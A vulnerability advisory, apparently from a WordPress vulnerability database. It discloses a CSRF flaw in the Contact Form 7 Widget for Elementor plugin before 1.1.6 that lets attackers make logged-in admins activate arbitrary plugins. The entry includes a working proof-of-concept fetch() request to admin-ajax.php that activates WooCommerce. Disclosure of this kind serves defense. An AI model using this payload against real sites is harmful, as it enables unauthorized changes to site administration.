WordPress Plugin Vulnerabilities
Contact Form 7 Widget For Elementor Page Builder & Gutenberg Blocks < 1.1.6 - Arbitrary Plugin Activation via CSRF
Description
The plugin does not have CSRF check when activating plugins, which could allow attackers to make logged in admins activate arbitrary plugins present on the blog via a CSRF attack
Proof of Concept
activate woocommerce plugin exploit: fetch('http://localhost/wp-admin/admin-ajax.php', { method: 'POST', headers: new Headers({ 'Content-Type': 'application/x-www-form-urlencoded', }), body: 'action=ht-contactform_ajax_plugin_activation&location=woocommerce/woocommerce.php', redirect: 'follow' }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));
Affects Plugins
References
CVE
Classification
Type
CSRF
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Lana Codes
Submitter
Lana Codes
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-02-28 (about 1 years ago)
Added
2023-02-28 (about 1 years ago)
Last Updated
2023-03-06 (about 1 years ago)